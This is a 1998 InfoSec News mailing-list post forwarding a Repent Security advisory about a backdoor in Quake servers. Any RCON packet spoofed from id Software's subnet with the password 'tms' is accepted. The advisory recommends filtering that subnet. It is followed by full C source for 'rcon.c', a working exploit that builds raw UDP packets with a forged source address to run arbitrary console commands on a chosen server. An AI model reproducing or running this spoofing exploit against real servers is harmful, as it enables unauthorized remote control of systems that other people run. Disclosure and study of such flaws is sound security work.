ID games Backdoor in quake

Date: Fri, 1 May 1998 04:12:33 -0600 (MDT)
From: mea culpa <jericho@dimensional.com>
To: InfoSec News <isn@sekurity.org>
Subject: [ISN] RSI.0001.05-01-98.ALL.QUAKE_SERVER


Forwarded From: RSI Advise <advise@repsec.com>


RSI.0001.05-01-98.ALL.QUAKE_SERVER


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                   Repent Security Incorporated, RSI
                       [ http://www.repsec.com ]


		       *** RSI ALERT ADVISORY ***


--- [CREDIT] --------------------------------------------------------------

Vulnerability found by:	 Mark Zielinski <markz@repsec.com>
Advisory Author:         Mark Zielinski

--- [SUMMARY] -------------------------------------------------------------

Announced:     May 1st, 1998
Report code:   RSI.0001.05-01-98.ALL.QUAKE_SERVER
Report title:  Vulnerability in the Quake server
Vulnerability: RCON (Remote Console)
Patch status:  None currently available
Platforms:     Quake 1/2, QuakeWorld, Linux/Solaris Quake2
Reference:     http://www.repsec.com/advisories.html
Impact:	       If exploited, an attacker could remotely compromise
	       administrator access on any Quake server.


--- [DETAILS] -------------------------------------------------------------

Problem:       The Quake server has a feature where it allows
               administrators to remotely send commands to the Quake
               console with a password.  However, it is possible to
               remotely bypass authentication.

               In order for this to be exploited, the attacker would
               have to create a handcrafted udp packet with a header
               containing the rcon command and the password "tms" with
               a source IP coming from ID Software's Subnet. (192.246.40)

               The Quake server does not require an open connection for
               sending the rcon packet.  When this is exploited, no logs
               are reported of the rcon command being used.

	       This vulnerability is present in Quake 1, QuakeWorld,
	       Quake 2, Quake 2 Linux and Quake 2 Solaris, all versions.


--- [FIX] -----------------------------------------------------------------

Solution:      Filter all incoming packets from the subnet 192.246.40.


--- [PATCH] ---------------------------------------------------------------

Solution:      No patches are currently available.


---------------------------------------------------------------------------

Repent Security Incorporated (RSI)
advise@repsec.com
13610 N. Scottsdale Rd.
Suite #10-326
Scottsdale, AZ 85254

[ http://www.repsec.com ]


---------------------------------------------------------------------------

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Copyright April 1998  RepSec, Inc.

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/* rcon.c
  Quake  world rcon_password bug implimentation by Jeff Roberson, <jroberson@chesapeake.net> (VallaH)
  Linux 2.0.33 source, will compile on BSD if you modify the ip header etc.
  Please note that I did not discover this, I simply wrote the code.
  Thanks to Nick Toomey, <ntoomey@chesapeake.net> (Grifter)

  Brief summary:
      Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server.  This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify.

  Usage:
	./rcon ip/host "what you want to do" [port]
  Example:
	./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500
         the port argument is optional, you may omit it if you like and it will default to 27500.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>                                                

#define SIP "192.246.40.42" /* vader.idsoftware.com */
#define command "˙˙˙˙rcon tms "

u_long resolve_address(u_char *host)
{
	struct	in_addr	addr;
	struct	hostent	*he;

	if((addr.s_addr = inet_addr(host)) == -1) {
		if (!(he = gethostbyname(host))) {
			printf("Unknown address: %s\n", host); 
			exit(-1);
		}
		bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
	}
	return(addr.s_addr);
}
int main(int argc, char **argv)
{
	int	s;
	int	port=27500;
	char	buf[512];
	struct	sockaddr_in dst;
	struct	iphdr *iph=(struct iphdr *)buf;
	struct	udphdr *udp=(struct udphdr *)(buf + 20);

	if (argc<3) {
		printf("usage:\n");
		printf("\t%s ip ""command"" <port>\n", argv[0]);
		exit(-1);		
	}	
	if (argc==4) port = atoi(argv[3]);
	bzero(buf, sizeof(buf));
	bzero((char *)&dst, sizeof(dst));

	iph->version=4;
	iph->ihl=5;
	iph->tos=0;
	iph->tot_len=htons(sizeof(buf));
	iph->id=htons(1234);
	iph->frag_off=0;
	iph->ttl=255;
	iph->protocol=17;

	iph->saddr=inet_addr(SIP);
	iph->daddr=resolve_address(argv[1]);

	udp->source=htons(1234);
	udp->dest=htons(port);
	udp->len=htons(sizeof(buf) - 20);

	dst.sin_family=PF_INET;
	dst.sin_addr.s_addr=iph->daddr;
	dst.sin_port=htons(27500);

	sprintf((buf + 28), "%s%s\n", command, argv[2]); 

	if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("socket");
		exit(-1);
	}

	if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) {
		perror("sendto");
		exit(-1);
	}
	exit(1);
}